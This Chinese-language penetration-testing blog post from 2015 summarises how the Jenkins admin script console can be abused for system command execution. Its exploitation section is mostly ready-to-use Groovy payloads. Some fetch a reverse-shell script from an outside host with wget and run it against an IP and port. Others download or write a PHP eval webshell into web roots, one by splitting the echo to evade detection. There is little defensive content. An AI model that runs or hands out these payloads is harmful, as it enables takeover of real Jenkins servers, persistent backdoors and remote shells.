首页 > 渗透测试 > Jenkins脚本命令执行漏洞小总结
2015
10-27

Jenkins脚本命令执行漏洞小总结

1,系统介绍

Jenkins是一个开源软件项目,旨在提供一个开放易用的软件平台,使软件的持续集成变成可能。

2,漏洞描述

Jenkins管理登陆之后,后台”系统管理”功能,有个”脚本命令行的”功能,它的作用是执行用于管理或故障探测或诊断的任意脚本命令,功能如图:

Jenkins脚本命令执行漏洞小总结 - 第1张  | 阿德马Web安全

 

 

 

 

 

利用该功能,可以执行系统命令,例如执行”whoami”命令,如图所示:

Jenkins脚本命令执行漏洞小总结 - 第2张  | 阿德马Web安全

 

 

 

 

 

该功能实际上Jenkins正常的功能,由于很多管理账号使用了弱口令,或者管理后台存在未授权访问,导致该功能会对Jenkins系统服务器产生比较严重的影响和危害。

3,漏洞利用

1) 直接wget下载back.py反弹shell,如下:

println "wget http://www.nxadmin.com/tools/back.py -P /tmp/".execute().text
println "python /tmp/back.py 10.1.1.111 8080".execute().text

2)多种写webshell方法,如下:

① wget写webshell
println "wget http://shell.nxadmin.com/data/t.txt -o /var/www/html/media.php".execute().text

②
new File("/var/www/html/media.php").write('<?php @eval($_POST[s3cpu1se]);?>');

③
def webshell = '<?php @eval($_POST[s3cpu1se]);?>'
new File("/var/www/html/media.php").write("$webshell");

④追加法写webshell
def execute(cmd) {
def proc =  cmd.execute()
proc.waitFor()

}
execute( [ 'bash', '-c', 'echo -n "<?php @eval($" > /usr/local/nginx_1119/html/media.php' ] )
execute( [ 'bash', '-c', 'echo "_POST[s3cpu1se]);?>" >> /usr/local/nginx_1119/html/media.php' ] )

//参数-n 不要在最后自动换行

4,参考资料

http://www.secpulse.com/archives/2166.html

最后编辑:
作者:admin
这个作者貌似有点懒,什么都没有留下。

留下一个回复

你的email不会被公开。